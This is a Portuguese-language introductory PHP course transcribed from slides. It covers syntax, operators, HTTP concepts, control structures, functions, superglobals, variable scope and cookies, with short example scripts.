Curso completo php

135
Modulo01 – Introdução o O que é PHP? o Pra que serve o PHP? o Como funciona o PHP? o Dicas úteis na hora de programar o Variáveis o Operadores o Exercícios O que é PHP? PHP significa Personal Home Page ou Hypertext Preprocessor, é uma linguagem de script Open Source E ela não precisa ser compilada, o PHP é executado no servidor e é processado na hora que a página for executada. Pra que serve o PHP? Para o desenvolvimento de aplicações Web ou sistemas intranet. E o PHP conecta com diversos bancos de dados O PHP também faz sistemas de controles statisticos, bate papos, fórum, portais, enquetes, blogs, entre outros sistemas conhecidos. Como Funciona o PHP? O PHP funciona sendo executado por um programa servidor web configurado com o PHP como CGI ou filtro isapi e o PHP processa a página e envia apenas o resultado do processo em HTML para o usuário CGI - Commom Gateway Interface (Interface Comum de Gateway) é uma interface definida de maneira a possibilitar a execução de programas sob um servidor ISAPI é uma DLL personalizada que está no mesmo espaço de memória que o servidor Web, e é chamado pelo servidor da web em resposta a cada solicitação HTTP. O PHP só é interpretado dentro das tags simples <? ?> ou <?PHP ?> para suporte a XML ou XHTML O PHP também funciona com essas tag: <script language = "php"> Código... </script> O PHP também funciona com tags ASP: <% %> Uma página em PHP tem que ter a extensão .php Se não for usar nenhuma tag PHP na página deixa a com .html Daí o PHP não precisara ficar lendo essa página em busca de tags php

Transcript of Curso completo php

Page 1: Curso completo php

Modulo01 – Introdução

o O que é PHP?

o Pra que serve o PHP?

o Como funciona o PHP?

o Dicas úteis na hora de programar

o Variáveis

o Operadores

o Exercícios

O que é PHP?

PHP significa Personal Home Page ou Hypertext Preprocessor, é uma linguagem de script

Open Source

E ela não precisa ser compilada, o PHP é executado no servidor e é processado na hora

que a página for executada.

Pra que serve o PHP?

Para o desenvolvimento de aplicações Web ou sistemas intranet.

E o PHP conecta com diversos bancos de dados

O PHP também faz sistemas de controles statisticos, bate papos, fórum, portais, enquetes,

blogs, entre outros sistemas conhecidos.

Como Funciona o PHP?

O PHP funciona sendo executado por um programa servidor web configurado com o PHP

como CGI ou filtro isapi e o PHP processa a página e envia apenas o resultado do

processo em HTML para o usuário

CGI - Commom Gateway Interface (Interface Comum de Gateway) é uma interface

definida de maneira a possibilitar a execução de programas sob um servidor

ISAPI é uma DLL personalizada que está no mesmo espaço de memória que o servidor

Web, e é chamado pelo servidor da web em resposta a cada solicitação HTTP.

O PHP só é interpretado dentro das tags simples <? ?> ou <?PHP ?> para suporte a XML

ou XHTML

O PHP também funciona com essas tag:

<script language = "php">

Código...

</script>

O PHP também funciona com tags ASP: <% %>

Uma página em PHP tem que ter a extensão .php

Se não for usar nenhuma tag PHP na página deixa a com .html

Daí o PHP não precisara ficar lendo essa página em busca de tags php

Page 2: Curso completo php

e no final de cada linha você precisa usar um ;( ponto e vírgula ) idêntico à linguagem C

echo() é construtor da linguagem ele serve para exibir algo na tela e não é obrigatório usar

parênteses ().

Use ' ( Apóstrofos ) para delimitar a string( textos ) do seu script exemplo:

<?PHP echo 'ola mundo'; ?>

ou modo simples para uma linha:<?= 'ola mundo'; ?>

As " ( aspas ) se a string é delimitada entre " ( aspas ), o PHP entende mais seqüências de

escape para caracteres especiais:

\n = nova linha

\r retorno da linha

\t tab

Também da para delimitar as string usando a sintaxe heredoc ("<<<") exemplo:

$string = <<<EOD

Exemplo de uma string

distribuída em várias linhas

utilizando a sintaxe heredoc.

EOD;

Embutido dentro do HTML:

<html>

<head>

<title>Titulo</title>

</head>

<body>

<?php

echo "ola mundo";

?>

</body>

</html>

</font>

Ou você pode dar um echo nas tags HTML dentro do PHP exemplo:

<?php

echo "<b>PHP</b>";

?>

<?php

echo "<a href=\"link.html\">Link</a>";

?>

Page 3: Curso completo php

Dicas uteis na hora de programar

Para desenvolver um script e evitar erros

Programe com essas opções no php.ini:

display_errors = on => deixa ativado a opção para exibir mensagens de erro ou alertas e

avisos sobre alguma coisa que esta errada

display_startup_errors = On => use essa opção em on só na hora que estiver

desenvolvendo seus script ,tem erros que são iniciados e o display_errors não mostra

error_reporting = E_ALL => mostra todos possíveis erros

register_globals = off => a partir do PHP 4.2.0 passou a se usar ela em off por motivo de

seguranças

exit; serve para a execução do script ,então use o exit sempre que quiser debugar seu

script, ou em funções e estruturas de controles

outras dicas nunca esqueça de colocar o ; ( ponto e vírgula ) no final de cada linha.

e sempre usar as aspas ou apostrofos em string exemplos:

$nome = "Mario";

$array['array1'];

$_POST['campo'];

echo "Bom estudo";

Variáveis

As variáveis no PHP são representadas por um cifrão ($) seguido pelo nome da variável.

Os nomes de variável no PHP fazem distinção entre maiúsculas e minúsculas.

Um nome de variável válido se inicia com uma letra ou sublinhado

Atribuindo valores a uma variável:

$teste = "testando";

$numero = 1234;

$teste2 = "testando 1234";

Operadores

Concatenando uma variável

Concatenar significa juntar as variáveis e no PHP usa-se o . ( ponto ) para juntar as

variáveis

Page 4: Curso completo php

Exemplo:

$nome = "João "; <= reparem que tem um espaço depois do nome isso é feito para quando

juntar as variáveis nome e sobrenome não ficar grudado JoaoSantos

$nome = "João ";

$sobrenome = "Santos";

$nome_completo = $nome.$sobrenome;

ou

$nome_completo = $nome;

$nome_completo .= $sobrenome;

Somando

$valor = 100;

$valor += 200;

ou

$valor = 200 + 100;

Subtraindo

$valor = 300;

$valor -= 100;

ou

$valor = 300 - 100;

Mutiplicando

$valor = 300;

$valor *= 100;

ou

$valor = 300 * 100;

Operadores Aritméticos

$a + $b Adição Soma de $a e $b.

$a - $b Subtração Diferença entre $a e $b.

$a * $b Multiplicação Produto de $a e $b.

$a / $b Divisão Quociente de $a por $b.

$a % $b Módulo Resto de $a dividido por $b

Page 5: Curso completo php

Operadores de comparação

$a == $b Igual Verdadeiro (TRUE) se $a é igual a $b.

$a === $b Idêntico Verdadeiro (TRUE) se $a é igual a $b, e eles são do mesmo tipo

(somente para PHP4).

$a != $b Diferente Verdadeiro se $a não é igual a $b.

$a <> $b Diferente Verdadeiro se $a não é igual a $b.

$a !== $b Não idêntico Verdadeiro de $a não é igual a $b, ou eles não são do mesmo tipo

(somente para o PHP4).

$a < $b Menor que Verdadeiro se $a é estritamente menor que $b.

$a > $b Maior que Verdadeiro se $a é estritamente maior que $b.

$a <= $b Menor ou igual Verdadeiro se $a é menor ou igual a $b.

$a >= $b Maior ou igual Verdadeiro se $a é maior ou igual a $b.

Operadores Lógicos

$a and $b E Verdadeiro (TRUE) se tanto $a quanto $b são verdadeiros.

$a or $b OU Verdadeiro se $a ou $b são verdadeiros.

$a xor $b XOR Verdadeiro se $a ou $b são verdadeiros, mas não ambos.

! $a NÃO Verdadeiro se $a não é verdadeiro.

$a && $b E Verdadeiro se tanto $a quanto $b são verdadeiros.

$a || $b OU Verdadeiro se $a ou $b são verdadeiros.

Operadores de Incremento/Decremento

++$a Pré-incremento Incrementa $a em um, e então retorna $a.

$a++ Pós-incremento Retorna $a, e então incrementa $a em um.

--$a Pré-decremento Decrementa $a em um, e então retorna $a.

$a-- Pós-decremento Retorna $a, e então decrementa $a em um

Fim do primeiro módulo

Page 6: Curso completo php

Modulo02 – Introdução part2

o Conceitos básicos sobre a Internet em modo geral

o Variáveis variáveis

o Estruturas de Controle

o Funções

o return

Conceitos básicos sobre a Internet em modo geral

Internet é uma rede de comunicações de abrangência mundial e a World Wide Web é uma

forma particular de utilização da Internet. A World Wide Web ou WWW, ou W3 é um dos

serviços baseados em hipertextos.

A Web é o conjunto de todos navegadores, serviços, arquivos ou recursos,e qualquer

outro serviço disponível através do browser.

A Web está relacionadaa à distribuição de documentos e informações pela Internet, e o

HTTP tem a função de servir como protocolo de rede da Web.

Protocolo de Comunicação

Um protocolo é um conjunto de regras que administra procedimentos de troca de

informações

HTTP

O HTTP (HyperText Transfer Protocol) surgiu em volta dos anos 90 no CERN (European

Center for high-Energy Physics) na Suíça. Quem criou o HTTP foi um fisico inglês seu

nome era Tim Berner-Lee.

O Protocolo HTTP é um protocolo de rede utilizado para entregar virtualmente todos os

arquivos e outros dados.

O HTTP é responsável pela maioria das transações realizadas na Internet . O surgimento

do HTTP veio da necessidade de distribuição

de informações na Internet, e para que essas transferências fossem possíveis houve a

necessidade de criar um padrão de comunicação

entre clientes e os servidores Web, ou seja, de que forma seria feita as requisições de

dados e como seriam aceitas e respondidas

pelos servidores de recursos na Internet.

Page 7: Curso completo php

TCP/IP

O TCP/IP (Protocolo de Controle de Transmissão/Internet Protocol) (TCP) Tem como

função deixar confiável a transferência de informação

(IP) recebe ou envia pacotes individuais de informações e os envia ao seu destino certo. O

TCP/IP cria a conetividade entre navegadores e servidores, a Web também utiliza seu

próprio protocolo o HTTP para troca de informações entre clientes e servidores. O HTTP é

utilizado pelos clientes para requisições de documentos ou serviços dos servidores e o

HTTP funciona com a conexão TCP/IP (sockets TCP/IP).

HTML (HyperText Markup Language) ou Linguagem de marcação de Hiper Textos

estabelece o conteúdo de um documento hipertexto conforme a World Web Consortium

(W3C).

URL,URI,URN

URL (Uniform Resource Locator), URI (Uniform Resource Identifier) URN (Uniform

Resource Name)

URI é uma forma generalizada para se referir a um recurso: um recurso inclui um URL e

um URN, ou seja, URN se refere ao nome do recurso em si

por exemplo um arquivo e a URL se refere à localização desse recurso, e ambos formam

um URI: a identificação uniforme de um mes recurso

XHTML e XML

XHTML é considerado o futuro do HTML e uma forma de transição para XML. XHTML

possui elementos de formatação da HTML 4.01, mas possui alguma regras definidas pela

XML. XML é um padrão para descrição de dados, ao passo que HTML se limita à

descrição de conteúdo.

XML

XML (Extensible Markup Language) permite que você crie seus próprios conjuntos de

elementos de marcação, o XML torna possível a a estruturação dos dados

GET

O GET é o método padrão para recuperar ou requisitar um recurso por meio do protocolo

HTTP. O GET solicita ao servidor para que encontre e retorne qualquer dado que estiver

identificado pelo URI. Se o URI apontar para um arquivo, o servidor deverá retornar o

arquivo(um recurso estático), se apontar para um script.

Page 8: Curso completo php

CGI(um recurso dinâmico) o servidor deverá retornar o resultado do script executado.

POST

A requisição por meio do método POST é utilizada para enviar dados ao servidor para

serem processados e trabalhados de alguma forma de

programa. O uso mais comum do método POST é submeter um formulário de dados,

nesse caso o cabeçalho Content-Type muitas veses possui a descrição application/x-www-

form-urlencoded e o cabeçalho Content-Length fornece o comprimento dos dados do

formulário codificado na URL.

O método GET também pode ser utilizado para submeter e enviar dados de um formulário,

mas esses dados serão codificados na URL e anexados à URI.

O método POST oferece maior segurança em relação aos dados transferidos, pois os

dados farão parte do corpo da mensagem, enquanto no GET os dados serão anexados à

URL, ficando a mostra para o usuário, podendo ser alterados facilmente antes de serem

enviados.

Variáveis variáveis

Variáveis são os nomes de variáveis que podem ser criadas e utilizadas dinamicamente.

Uma variável normal é criada numa instrução como:

PHP

<?php

$a = "Ola";

?>

Uma variável pega o valor de uma variável e a trata com o nome de uma variável. No

exemplo acima, hello pode ser utilizada como o

nome de uma variável utilizando dois sinais de cifrão:

PHP

<?php

$a = "Ola";

$$a = "Usuarios";

echo "$a $Ola";

?>

Page 9: Curso completo php

Estruturas de Controle

O que são estruturas de controle?

São contruções da linguagem que permitem que você controle o fluxo do seu

programa...número de vezes que ele será executado...como e quando ele será

desviado...enfim as estruturas de controle estão entre as mais importantes

implementações das linguagens de programação, incluindo o PHP...

As estruturas de linguagem implementadas no PHP são:

if;

else;

elseif;

while;

do.. while;

for;

foreach;

break;

continue;

switch;

If É com certeza uma das mais importantes estruturas de controle do PHP. Ela permite a

execução condicional de um pedaço do seu código... A sintaxe da mesma é a seguinte:

if(expressão){

instruções...

}

Sendo que a expressão é aquilo que será testado pelo if.

Ex:

Suponha que você queira verificar se o usuário digitou mesmo um determinado número,

10 por exempo.

PHP

<?php

$numero = $_POST["numero"];

if($numero == 10)

{

echo "Parabéns você digitou o número correto";

}

?>

Note que nesse exemplo as chaves poderiam ser omitidas e não teriamos problemas de

sintaxe, pois temos apenas uma instrução abaixo o if...

Caso tivessemos mais, aí sim seria obrigatório, mas por questão de organização e

legibilidade costumo colocar sempre.

Page 10: Curso completo php

O if retorna um valor boleano, ou true caso a condição seja verdadeira, ou false caso a

condição falhe...Digamos que nosso programa seja apenas isso e se o usuário digitar

qualquer valor diferente de 10, nada seria mostrado na tela.

Mas geralmente você vai querer excecutar uma instrução para quando o teste do if for

false. É aí que entra o else "senão". Ele permite instruir ao script para executar um outro

fragmento de código caso o if de false...

ex:

PHP

<?php

$numero = $_POST["numero"];

if($numero == 10)

{

echo "Parabéns você digitou o numero correto";

}

else

{

echo "Pena você entrou com um valor diferente de 10";

}

?>

Elseif

Elseif, como seu nome sugere, é uma combinação de if e else.

Ele permite um poder de decisão maior ao seu script, pois se o teste 1 falhar ele tentará

executar o segundo e assim por diante, segue um exemplo clássico de seu uso...

PHP

<?php

if ($a > $b)

{

echo "a é maior que b";

}

elseif ($a == $b)

{

echo "a é igual a b";

}

else

{

echo "a é menor que b";

}

?>

Page 11: Curso completo php

Dica: sempre que abrir uma chave "{" feche logo em seguida "}" para evitar esqueçer de

fazer isso mais tarde...

while

Loops while são o tipo mais simples de criar um 'loop' em PHP. O formato básico de um

comando while é:

while (expressao) instruções

O significado de um comando while é simples. Ele pede que o PHP execute os comandos

aninhados repetidamente, enquanto a expressão do while é avaliada como TRUE. O valor

da expressão é verificada cada vez que se passa no começo do 'loop', desta forma,

mesmo que este valor mude durante a execução do(s) comando(s) aninhado(s), a

execução não parará até que o fim da iteração (cada vez que o PHP executa os comandos

dentro do 'loop' é uma iteração). Às vezes, se a expressão while for avaliada como FALSE

logo no início, o(s) comando(s) aninhado(s) não será(ão) rodado(s) nem uma vez sequer.

Como no comando if, você pode agrupar múltiplos comandos dentro do mesmo laço while

englobando um grupo de instruções com chaves, ou usando a sintaxe alternativa:

while (expressao)

{

instrucoes ...

}

Para ficar mais claro de entender, vamos montar um script que escreva os números de 1 a

10 um abaixo do outro, ok?

PHP

<?php

$i = 1; // $i será nosso controlador ele dirá quantas vezes o script será executado, nesse

caso 10...while ($i <= 10) {echo $i++; // nesse caso será mostrado o valor e logo após será

adicionado mais uma ao seu valor}?>

do..while

Loops do while são bem similares aos loops while, exceto pelo fato de que a condição é

verificada no fim de cada iteração em vez de no começo.

Há apenas uma sintaxe para loops do..while:

PHP

<?php

$i = 0;

do

{

echo $i++;

}

while ($i > 10);

Page 12: Curso completo php

?>

Note que nessa estrutura o comando sempre será executado ao menos uma vez...

pos a condição é verificado apenas no final, ou seja após a primeira interação...

for

Loops for são os laços mais complexos em PHP, pois no mesmo corpo você inicia a

variável de controle, diz até quando será executada, e faz o incremento, ou decremento

dependendo do caso. Sua sitaxe é a seguinte...

for (expr1; expr2; expr3) {

instrucoes

}

Vamos ao nosso exemplo que imprime os números de 1 a 10, mas dessa vez vamos nos

aventurar mais, vamos montar a tabuada do 10, rs...Super útil...

PHP

<?php

for ($i = 1; $i <= 10; $i++)

{

echo $i . "X" . 10 . "=" . $i*10 . "<br>";

}

?>

Vamos a outro exemplo espetacular. Lembra dos simpsons onde o pobre barth sempre

fica de castigo escrevendo 500 vezes algo no quadro negro? Se ele soubesse php seria

muito mais simples...

PHP

<?php

for ($i = 1; $i <= 500; $i++)

{

echo "Eu sou um bom aluno <br>";

}

?>

foreach

Esse construtor da lingagem oferece uma maneira fácil de trabalhar com matrizes "arrays".

Foreach funciona somente com arrays, e lançará um erro se tentar utilizá-lo em uma

variável de qualquer tipo diferente ou vamos a um exemplo de seu uso.

PHP

foreach (expressao_array as $chave => $valor){ instrucoes }

Page 13: Curso completo php

PHP

<?php

/* exemplo foreach 1: somente valores */

$a = array(1, 2, 3, 17);

foreach ($a as $v) {

echo "Valor atual de \$a: $v.\n";

}

/* exemplo foreach 2: valores (com as chaves impressas para ilustração) */

$a = array(1, 2, 3, 17);

$i = 0; /* para exemplo somente */

foreach ($a as $v) {

echo "\$a[$i] => $v.\n";

$i++;

}

/* exemplo foreach 3: chaves e valores */

$a = array (

"um" => 1,

"dois" => 2,

"três" => 3,

"dezessete" => 17

);

foreach ($a as $k => $v) {

echo "\$a[$k] => $v.\n";

}

/* exemplo foreach 4: arrays multidimensionais */

$a[0][0] = "a";

$a[0][1] = "b";

$a[1][0] = "y";

$a[1][1] = "z";

foreach ($a as $v1) {

foreach ($v1 as $v2) {

echo "$v2\n";

}

}

/* exemplo foreach 5: arrays dinâmicos */

Page 14: Curso completo php

foreach (array(1, 2, 3, 4, 5) as $v) {

echo "$v\n";

}

?>

Funções

O que é uma função?

Funções são responsáveis por realizar uma ou mais tarefas definidas ou não pelo

programador. Não entendeu? Ok.

Suponhamos que dentro de um script PHP, você irá usar uma mesma expressão

matemática várias vezes, ex:

echo 10+(5*6)/14-2;

echo 10+(5*3)/14-2;

echo 10+(5*2)/14-2;

Obs.: No echo() não é necessário o uso de parênteses.

Repare que a única coisa que mudou foi o número multiplicado (6,3,2), mas seria muito

mais fácil se criássemos uma função pra isso. Ficaria algo como:

function expressao($valor) {

echo 10+(5* $valor)/14-2;

}

Expressões

Então como ficariam as expressões? Simples:

expressao(6);

expressão(3);

expressão(2);

Como são definidas as funções?

Uma função é definida usando a palavra function, seguido pelo nome da função e por

parêntese:

function nomeFuncao()

Em funções podem ser usadas tanto letras minúsculas como maiúsculas. Podem ser

usados também underlines e números (no caso de números, não como primeiro caracter).

Errado: function 2quebraLinha() {

Errado: function quebraLinha@() {

Você também pode usar variáveis dentro dos parênteses. Estas devem ser separadas por

vírgulas, as variáveis definidas aqui só poderão ser usadas dentro das funções, elas

poderão ter um valor definido. Quando for usar a função, se você definir um valor no local

da variável, o valor padrão será perdido, e o novo valor será dado àquela variável.

Page 15: Curso completo php

Um exemplo:

function mostraValor($variavel= 'padrão') {

echo $variavel;

}

Nesse caso a string “padrão” foi definida padrão para a variável $variavel. Se você usar a

função sem definir nenhum argumento, ela irá mostrar o texto padrão, no caso “padrão”:

mostraValor();

Mas se você colocar um outro valor dentro dos parênteses no uso da função, o valor novo

definido será mostrado:

mostraValor(“Novo texto aqui”);

Irá mostrar “Novo texto aqui”.

A mesma coisa vale para mais argumentos definidos:

function mostraValor($valor=”padrão”,$segundoValor) {

Depois dos parênteses será usando chaves e toda definição da função deverá estar dentro

dela:

function mostraValor($valor=”padrão”) {

// Aqui os parâmetros da função

}

Return

O que é “return”?

return é palavra usada pra retornar algum valor da função para uma nova variável definida,

como exemplo, vamos voltar à primeira expressão matemática: Se você não quisesse

mostrar as expressões e sim guardar os resultados em variáveis, você poderia usar uma

função parecida com essa:

function expressao($valor) {

$novoValor = 10+(5* $valor)/14-2;

return $novoValor;

}

Assim, uma nova variável poderia receber o resultado. Seguindo os exemplos anteriores,

ficaria assim:

$exp1 = expressao(6);

$exp2 = expressao(3);

$exp3 = expressao(2);

Page 16: Curso completo php

O uso do "return" significa o fim da função, tudo que for usado após o return erá perdido.

Obs.: Só quero ressaltar que na função podem ser usados variáveis de qualquer tipo,

inteiros, strings, boolean, arrays, etc, os valores retornadas (com o return) seguem a

mesma regra.

Fim.

Page 17: Curso completo php

Modulo 3 – Introdução part3

Variáveis Predefinidas

Escopo de variáveis

Cookies

Sessions

Variáveis Predefinidas

$GLOBALS

Contém um referência para todas as variáveis que são atualmente disponíveis dentro do

escopo global do script. As chaves desse array são os nomes das variáveis globais.

$GLOBALS existe desde o PHP 3.

$_GET

Variáveis postadas para o script via método HTTP GET. Análogo ao antigo

array $HTTP_GET_VARS(que ainda continua disponível, mas em decadência).

$_POST

Variáveis postadas para o script via método HTTP POST. Análogo ao antigo

array$HTTP_POST_VARS (que ainda continua disponível, mas em decadência).

$_COOKIE

Variáveis postadas para o script via cookies HTTP. Análogo ao antigo

array $HTTP_COOKIE_VARS(que ainda continua disponível, mas em decadência).

$_FILES

Variáveis postadas para o script via transferência de arquivos HTTP. Análogo ao antigo

array$HTTP_POST_FILES (que ainda continua disponível, mas em decadência).

Veja uploads via método POST para maiores informações.

$_ENV

Variáveis disponíveis no script do ambiente de execução. Análogo ao antigo array

$HTTP_ENV_VARS (que ainda continua disponível, mas em decadência).

$_REQUEST

Variáveis postadas para o script por todas os mecanismos de input GET, POST, e

COOKIE não podem ter seu conteúdo garantido de qualquer forma.

A presença e a ordem de inclusão das variáveis nesse array é definida de acordo com a

diretiva de configuração variables_order. Este array não tem um equivalente nas versões

anteriores do PHP 4.1.0. Veja também import_request_variables().

$_SESSION

Variáveis que estão atualmente registradas na sessão do script. Análogo ao antigo array

$HTTP_SESSION_VARS (que ainda continua disponível, mas em decadência).

Veja a sessão funções de manipulação de Sessões para maiores informações.

$_SERVER

Page 18: Curso completo php

Variáveis criadas pelo servidor web ou diretamente relacionadas ao ambiente de execução

do script atual. Análogo ao antigo array $HTTP_SERVER_VARS (que ainda continua

disponível, mas em decadência).

$_SERVER é um array contendo informações como headers, caminhos e localizações do

script. Os itens deste array são criados pelo servidor web. Não há garantias que todos os

servidores web gerem todas elas: alguns servidores talvez omitam algumas ou geram

outras que não estão listadas aqui. Mesmo assim, um grande número dessas variáveis

estão de acordo com a especificação CGI 1.1, então você pode esperar encontrá-las

nesse array.

PHP_SELF

O nome do arquivo do script atualmente em uso, relativo ao document root. Por exemplo,

$_SERVER['PHP_SELF'] em um script com o endereço

http://example.com/test.php/foo.bar pode ser /test.php/foo.bar. A constante __FILE__

contém o caminho completo e nome do arquivo (mesmo incluído) atual.

Se estiver rodando o PHP em linha de comando, esta variável não está disponível.

argv

Array de argumentos passado para o script. Quando o script é executado na linha de

comando, isto permite um acesso aos parâmetros de linha de comando no estilo do C.

Quando chamado via método GET, ele conterá a query string.

argc

Contém o número de parâmetros da linha de comando passados para o script (se

executando da linha de comando).

GATEWAY_INTERFACE

O número de revisão da especificação CGI que o servidor está utilizando, por exemplo :

'CGI/1.1'.

SERVER_NAME

O nome host do servidor onde o script atual é executado. Se o script está rodando em um

host virtual, este será o valor definido para aquele host virtual.

SERVER_SOFTWARE

A string de identificação do servidor, fornecida nos headers quando respondendo a

requests.

SERVER_PROTOCOL

Nome e número de revisão do protocolo de informação pelo qual a página foi requerida,

por exemplo 'HTTP/1.0';

REQUEST_METHOD

Contém o método de request utilizando para acessar a página. Geralmente 'GET', 'HEAD',

'POST' ou 'PUT'.

QUERY_STRING

A query string (string de solicitação), se houver, pela qual a página foi acessada.

Page 19: Curso completo php

DOCUMENT_ROOT

O diretório raiz sob onde o script atual é executado, como definido no arquivos de

configuração do servidor.

HTTP_ACCEPT

O conteúdo do header Accept: da requisição atual, se houver.

HTTP_ACCEPT_CHARSET

O conteúdo do header Accept-Charset: da requisição atual, se houver. Exemplo: 'iso-8859-

1,*,utf-8'.

HTTP_ACCEPT_ENCODING

O conteúdo do header Accept-Encoding: da requisição atual, se houver. Exemplo: 'gzip'.

HTTP_ACCEPT_LANGUAGE

O conteúdo do header Accept-Language: da requisição atual, se houver. Exemplo 'en'.

HTTP_CONNECTION

O conteúdo do header Connection: da requisição atual, se houver. Exemplo: 'Keep-Alive'.

HTTP_HOST

O conteúdo do header Host: da requisição atual, se houver.

HTTP_REFERER

O endereço da página (se houver) através da qual o agente do usuário acessou a página

atual. Essa diretiva é informada pelo agente do usuário.

Nem todos os browsers geram esse header, e alguns ainda possuem a habilidade de

modificar o conteúdo do HTTP_REFERER como recurso. Em poucas palavras, não é

confiável.

HTTP_USER_AGENT

O conteúdo do header User-Agent: da requisição atual, se houver. É uma string denotando

o agente de usuário pelo qual a página é acessada.

Um exemplo típico é: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Além de outras coisas,

você pode utilizar este valor com get_browser() para personalizar a geração de suas

páginas para as capacidades do agente do usuário.

REMOTE_ADDR

O endereço IP de onde o usuário está visualizado a página atual.

REMOTE_HOST

O nome do host que o usuário utilizou para chamar a página atual. O DNS reverso

(lookup) do REMOTE_ADDR do usuário.

Nota: Seu servidor web precisa estar configurado para criar essa variável. Por exemplo, no

Apache você precisa colocar um HostnameLookups On

dentro do httpd.conf. Veja também gethostbyaddr().

REMOTE_PORT

A porta TCP na máquina do usuário utilizada para comunicação com o servidor web.

Page 20: Curso completo php

SCRIPT_FILENAME

O caminho absoluto o script atualmente em execução.

Nota: Se o script for executado pela CLI com um caminho relativo, como file.php ou

../file.php, $_SERVER['SCRIPT_FILENAME'] irá conter o caminho relativo especificado

pelo usuário.

SERVER_ADMIN

O valor fornecido pela diretiva SERVER_ADMIN (do Apache) no arquivo de configuração

do servidor. Se o script está sendo executado em um host virtual, este será os valor

definido para aquele host virtual.

SERVER_PORT

A porta na máquina servidora utilizada pelo servidor web para comunicação. Como default,

este valor é '80'. Utilizando SSL, entretanto, mudará esse valor para a porta de

comunicação segura HTTP.

SERVER_SIGNATURE

String contendo a versão do servidor e nome do host virtual que é adicionado às páginas

geradas no servidor, se ativa.

PATH_TRANSLATED

O caminho real do script relativo ao sistema de arquivos (não o document root), depois

realizou todos os mapeamentos de caminhos (virtual-to-real).

Nota: A partir do PHP 4.3.2, PATH_TRANSLATED não mais existe implicitamente sob a

SAPI do Apache 2, ao contrário da mesma situação no Apache 1, onde ela tinha o mesmo

valor da variável de servidor SCRIPT_FILENAME, quando a mesma não era configurada

pelo Apache. Essa mudança foi realizada para conformidade com a especificação CGI,

onde PATH_TRANSLATED deve existir somente se PATH_INFO estiver definida.

Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.

SCRIPT_NAME

Contém o caminho completo do script atual. Útil para páginas que precisam apontar para

elas mesmas (dinamicamente). A constante __FILE__ contém o caminho completo e nome

do arquivo (mesmo incluído) atual.

REQUEST_URI

O URI fornecido para acessar a página atual, por exemplo, '/index.html'.

PHP_AUTH_USER

Quando executando sob o Apache como módulo e fazendo autenticaçào HTTP, esta

variável estará definida com o username fornecido pelo usuário.

PHP_AUTH_PW

Quando executando sob o Apache como módulo e fazendo autenticaçào HTTP, esta

variável estará definida com a senha fornecida pelo usuário.

AUTH_TYPE

Quando executando sob o Apache como módulo e fazendo autenticaçào HTTP, esta

variável estará definida com o tipo de autenticação utilizado.

Page 21: Curso completo php

Esta é uma variável 'superglobal', ou automaticamente global. Isto significa que ela é

disponível em todos os escopos (níveis) de um script.

Você não precisa fazer um global $_SERVER; para pode acessá-la dentro de funções ou

métodos, como era necessário com $HTTP_SERVER_VARS.

Escopo de variáveis

Quando uma variável é usada dentro de uma função, pode haver uma outra variável com o

mesmo nome que é utilizada em outra função ou no código do programa principal. São

espaços de memória diferentes, e cada uma funciona dentro do seu contexto, ou seja, a

variável definida dentro de uma função só pode ser acessada ali dentro. Fora dali seu valor

não é acessível em nenhuma outra parte do programa, mas é possível usar dentro de uma

função o valor de uma variável existente também no programa principal, tem dois jeitos

para isso:

Defini-la como global no inicio da função ou utilizar o array predefinido $GLOBALS, que

utiliza os nomes das variáveis como associativa

Exemplo:

PHP

<?php

$num = 1500;

function escopo()

{

global $num;

$num += 5;

echo $num."<br>";

}

echo $num."<br>";

escopo();

?>

Cookies

O famoso cookie que nós conhecemos hoje foi criado em junho de 1994

Antigamente cada visita a um site era como se fosse a primeira visita, sem forma

automática de se saber se um usuário já esteve ali, ou que páginas havia consultado.

Qualquer transação comercial tinha que ser feita do início ao fim em uma só visita, e os

visitantes tinham que passar pelas mesmas páginas vezes seguidas ,era como visitar uma

loja onde o vendedor tinha amnésia.

O criador do cookie chama-se Lou Montulli, ele foi o nono funcionario a ser contratado por

uma empresa que logo depois se tornaria a Netscape Communications, Montulli era um

hacker, mas naquele tempo o nome hacker era usado no bom sentido quando uma pessoa

Page 22: Curso completo php

entendia muito de computadores. Quando ele teve a ideia de inventar o cookie a solução

encontrada era que cada computador de site da Web colocasse um pequeno arquivo na

máquina de cada visitante, que acompanhasse seus passos dentro do site visitado.

Montulli chamou essa nova tecnologia de "objeto do estado de cliente persistente”, mas ele

tinha um nome mais charmoso em mente, um do início da computação. Naquela época, as

máquinas trocavam pedaços de informação para propósitos de identificação e os primeiros

programadores chamaram os dados trocados de "magic cookies", biscoitos mágicos.

Montulli chamou sua invenção, descendente direta desses, de "cookie", biscoito.

Foi um marco na história da computação: de um só golpe, os cookies mudaram a Web,

que passou de um lugar de visitas descontínuas para um ambiente rico, no qual comprar,

brincar e até viver, para alguns.

Fundamentalmente, os cookies alteraram a natureza da navegação pela Web. Ela passou

de uma atividade relativamente anônima, como caminhar pelas ruas de uma metrópole,

para um ambiente onde os registros das transações, movimentos e até desejos podem ser

armazenados, avaliados, minados e vendidos.

Graças aos cookies, um cliente que faz uma compra em um site pode abandonar seu

carrinho de compras antes de finalizar a compra e voltar mais tarde ao site, que perguntará

se ele deseja fazer seu pedido.

Os cookies também permitem aos sites mostrarem anúncios diretamente ligados às partes

do site visitadas pelo navegador. Assim, alguém visitando um site orientado para a saúde

que lê informações sobre drogas para diabetes poderá ver um anúncio de nova medicação

para a doença.

Todas essas funções podem ser feitas sem o conhecimento do nome do visitante, porque

o identificador anônimo e único incluído no cookie, é suficiente. Mas, se um proprietário de

site da Web combinar esse identificador com informações pessoais do visitante, do

momento de sua inscrição no site, por exemplo, então o cookie se torna um mecanismo

poderoso de monitoramento individual.

O php usa a função setcookie para enviar o cookie para o usuário essa função também é

usada para excluir o próprio cookie, exemplo de criação de um cookie:

setcookie("nome_do_cookie", "valor_do_cookie", "tempo de expiração");

No tempo de expiração você pode usar a função time() + os segundos veja exemplo:

PHP

<?

setcookie("cookie", "teste", time() + 3600);

?>

Esse cookie tem uma validade de 1 hora:

Page 23: Curso completo php

PHP

<?

setcookie("cookie", "teste", time() + 3600*24*365);

?>

Esse cookie tem validade de um ano

3600 segundos = 1 hora

3600 segundos vezes 24 horas

24 horas vezes 365 dias

Para excluir um cookie basta fazer a mesmo sistema que criar ele, mas usando um prazo

de expiração negativa.

PHP

<?

setcookie("cookie", "teste", time() – 3600*24*365);

?>

Veja acima o cookie que tinha validade de um ano será excluído pq foi passado que o

tempo dele agora é de um ano atrás, ou seja, já acabou.

